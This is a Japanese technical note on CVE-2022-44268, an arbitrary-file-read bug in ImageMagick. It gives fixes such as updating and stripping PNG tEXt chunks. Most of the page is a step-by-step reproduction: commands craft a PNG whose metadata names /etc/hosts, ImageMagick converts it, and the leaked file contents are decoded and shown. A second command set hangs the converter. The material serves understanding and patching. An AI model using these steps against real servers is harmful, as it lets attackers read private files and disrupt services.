CVE-2022-44268 ImageMagick Arbitrary File Read
ファイルパスを含むメタデータを埋め込んだPNGをImageMagickに変換させることで、変換結果のPNGにそのファイルの内容を埋め込ませることができる ImageMagickのプロセスがアクセスできるファイルであれば任意のファイルを読み込める
このやり方を応用して、ImageMagickをハングアップさせたり、CPUに負荷をかけるDoS攻撃も行える
自分が携わっている実際のアプリケーション(サーバー上でImageMagickを実行している)でも、一部のルートで再現できるのを確認した
対策方法としては、
ImageMagickをアップデートする
PNGのtEXtチャンクを除去してからImageMagickで処理する
pngcrush -rem text poc.png clean.pngなど
任意のファイルを読み込む例
なお、Ubuntuのパッケージがアップデートされたタイミングで再現できなくなる可能性がある code:bash
# Ubuntu 22.04のコンテナを作る
docker run --rm -it ubuntu:jammy bash
# 必要なパッケージをインストールする
apt-get update && apt-get install pngcrush imagemagick exiftool exiv2 -y
# 500x500の白pngを作成する
convert -size 500x500 xc:white test.png
# pngcrushでメタデータを書き込む
pngcrush -text a "profile" "/etc/hosts" test.png read_etchosts.png
# メタデータを確認する
# 358 | tEXt | 18 | profile./etc/hosts | 0xc560a843 のようなデータが格納されている
exiv2 -pS read_etchosts.png
# 細工されたPNGをImageMagickで変換する
convert read_etchosts.png out1.png
# identifyコマンドで変換結果を確認
# Raw profile type: にある文字列がファイルの内容になっている
identify -verbose out1.png
# 16進数文字列をバイト列にする。メタデータで指定した/etc/hostsの内容を取得できる
ruby -e 'puts ARGV.pack("H*")' 3132372e302e302e31096c6f63616c686f73740a3a3a31096c6f63616c686f7374206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30096970362d6c6f63616c6e65740a666630303a3a30096970362d6d636173747072656669780a666630323a3a31096970362d616c6c6e6f6465730a666630323a3a32096970362d616c6c726f75746572730a3137322e31372e302e32093565383933373330396266390a
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2 5e8937309bf9
ImageMagickをハングアップさせる例
convertコマンドを直接実行すると再現するが、Railsなどサーバープロセス上ではうまく再現しなかった code:bash
# pngcrushでメタデータを書き込む
pngcrush -text a "profile" "-" test.png hangup.png
# メタデータを確認する
# 358 | tEXt | 9 | profile.- | 0xb3b204b9 のようなデータが格納されている
exiv2 -pS hangup.png
# ここでハングアップする
convert hangup.png out2.png
# 元の画像ではすぐに終わる
convert test.png out2.png